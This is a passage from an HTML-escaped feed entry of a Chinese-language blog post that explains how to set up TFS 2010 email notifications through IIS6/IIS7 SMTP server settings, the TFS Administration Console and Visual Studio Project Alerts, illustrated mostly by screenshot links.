width="978" height="774" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_6.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_2.png" width="1028" height="744" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;2.在IIS6中配置SMTP Server&lt;/strong&gt;&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;要想让TFS的邮件提醒功能将邮件转发到第三方邮箱（如@live.cn、@163.com等），需要进行邮件转发设置，打开IIS6，如下图：&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_8.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_3.png" width="663" height="468" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;在SMTP Virtual Server属性中，&lt;/p&gt;  &lt;p&gt;（1）设置IP地址：&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_10.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_4.png" width="538" height="551" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;（2）设置Relay Restrictions：&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_14.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_6.png" width="538" height="551" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_16.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_7.png" width="514" height="464" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;3.在IIS7中配置SMTP Server&lt;/strong&gt;&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;需要为SMTP Server分配一个E-mail地址。打开IIS7，设置Email地址以及转到本地SMTP服务器，如下图：&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_18.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_8.png" width="1264" height="746" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_20.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_9.png" width="1264" height="746" /&gt;&lt;/a&gt;&amp;#160; &lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;strong&gt;4.配置TFS 2010&lt;/strong&gt;&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;在Team Foundation Server Administration Console中，设置邮件提醒参数，如下图：&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_22.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_10.png" width="909" height="707" /&gt;&lt;/a&gt;&lt;strong&gt;5.客户端设置&lt;/strong&gt;&lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;在Visual Studio 2010的菜单栏找到邮件邮件提醒设置：Team –&amp;gt; Project Alerts（只有已连接到TFS服务器后才有此选项），输入需要提醒的事件以及接收提醒的邮箱，如下图：&lt;/p&gt;  &lt;p&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_24.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_11.png" width="603" height="434" /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;到此，Project Alerts邮件提醒功能设置 完毕，现在看看效果如何。Check in 一个文件后，收到一封邮件：&lt;/p&gt;  &lt;p align="center"&gt;&lt;a href="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_26.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://images.cnblogs.com/cnblogs_com/cxun/WindowsLiveWriter/TFS2010EmailNotification_9DCB/image_thumb_12.png" width="603" height="573" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/cxun/aggbug/1743466.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/cxun/archive/2010/05/25/1743466.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry></feed>
